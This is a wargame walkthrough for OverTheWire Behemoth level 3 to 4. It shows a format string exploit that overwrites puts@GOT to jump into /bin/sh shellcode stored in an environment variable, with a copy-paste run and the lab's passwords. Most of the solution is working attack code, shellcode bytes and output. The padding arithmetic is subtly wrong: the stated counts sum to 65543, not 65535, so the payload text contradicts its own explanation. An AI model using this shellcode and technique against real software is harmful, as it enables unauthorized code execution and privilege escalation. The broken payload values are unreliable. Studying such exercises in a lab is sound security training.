OverTheWire Behemoth Level 3 → 4 tutorial!!
Login
Log in as behemoth3 using the password from Level 2 → 3.
ssh behemoth3@behemoth.labs.overthewire.org -p 2221
# password: nietiediel
Task
The binary /behemoth/behemoth3 is vulnerable to a format string attack.
Our goal: exploit it to redirect execution into our shellcode and escalate to behemoth4.
A little bit of Theory
- Format string vulnerability: happens when user input is passed directly to
printf()instead ofprintf("%s", input). - With
%x, we can dump stack values. - With
%n, we can write to arbitrary memory addresses. - By overwriting a Global Offset Table (GOT) entry (like
puts@GOT), we can redirect program flow. - Combine with shellcode in an environment variable → we gain a shell.
Tools we’ll use:
objdump -R→ list GOT entriesgdb→ debugging / testing- a helper
/tmp/find_addr→ leak env var addresses
Solution
1. Run the binary to observe behavior
cd /behemoth
./behemoth3
Identify yourself: test
Welcome, test
aaand goodbye again.
👉 Nothing suspicious at first glance. Let’s try format specifiers:
./behemoth3
Identify yourself: %x.%x.%x
Welcome, 80485c0.8048330.bffff4a8
aaand goodbye again.
Explanation: The binary printed out raw stack values. ✅ This confirms a format string bug.
2. Locate GOT entry of puts
objdump -R behemoth3 | grep puts
Output:
080497ac R_386_JUMP_SLOT puts@GLIBC_2.0
👉 GOT entry for puts is at 0x080497ac.
If we overwrite this address with our shellcode address, when the program calls puts, it will jump into our code.
3. Prepare shellcode in an environment variable
Classic Linux x86 execve(“/bin/sh”) shellcode:
export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')
20*"\x90"→ NOP sled to increase landing zone.- The rest is the shellcode that spawns
/bin/sh.
4. Find the runtime address of $SHELLCODE
Compile helper:
// /tmp/find_addr.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s is at %p\n", argv[1], getenv(argv[1]));
return 0;
}
gcc -m32 /tmp/find_addr.c -o /tmp/find_addr
/tmp/find_addr SHELLCODE
Example output:
SHELLCODE is at 0xffffde75
👉 That’s the address we’ll redirect execution to.
5. Craft format string exploit
We want to overwrite 0x080497ac with 0xffffde75.
Trick: break it into two 16-bit chunks because %hn writes half-words.
- Lower 2 bytes:
0xde75(56949 decimal) - Upper 2 bytes:
0xffff(65535 decimal)
We’ll place the GOT address twice on the stack (\xac\x97\x04\x08 and \xae\x97\x04\x08), then use %hn to write values in order.
Payload example:
(python -c 'print("\xac\x97\x04\x08" + "\xae\x97\x04\x08" + "%56941x%1$hn%8594x%2$hn")' | ./behemoth3)
Explanation:
- First
%hnwrites 0xde75 into lower half of GOT address. - Second
%hnwrites 0xffff into upper half. - GOT entry now points to our shellcode.
6. Trigger the exploit
If successful, when the program tries to call puts(), it will instead jump into our $SHELLCODE:
whoami
# behemoth4
cat /etc/behemoth_pass/behemoth4
Output:
ietheishei
🎉 That’s the next password.
Password
ietheishei
Troubleshooting
- Segfault before shell → Adjust padding values (
%xxxxxx) until they align exactly. - Wrong GOT entry → Double-check with
objdump -R behemoth3. - Different env address → Re-run
/tmp/find_addr SHELLCODE, addresses shift slightly. - Forgot little endian → Always write GOT addresses as
\xac\x97\x04\x08. - Use
%hnnot%n→%nwrites full 32-bit, likely to crash.
Copy-paste quick run
ssh behemoth3@behemoth.labs.overthewire.org -p 2221
# 1. Set shellcode
export SHELLCODE=$(python -c 'print(20*"\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80")')
# 2. Leak its address
/tmp/find_addr SHELLCODE
# Example: 0xffffde75
# 3. Exploit
cd /behemoth
(python -c 'print("\xac\x97\x04\x08" + "\xae\x97\x04\x08" + "%56941x%1$hn%8594x%2$hn")' | ./behemoth3)
# 4. Get shell & password
whoami
cat /etc/behemoth_pass/behemoth4
Congrats 🎉 You just exploited a format string bug, overwrote the GOT entry of puts with your shellcode address, and escalated to behemoth4!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
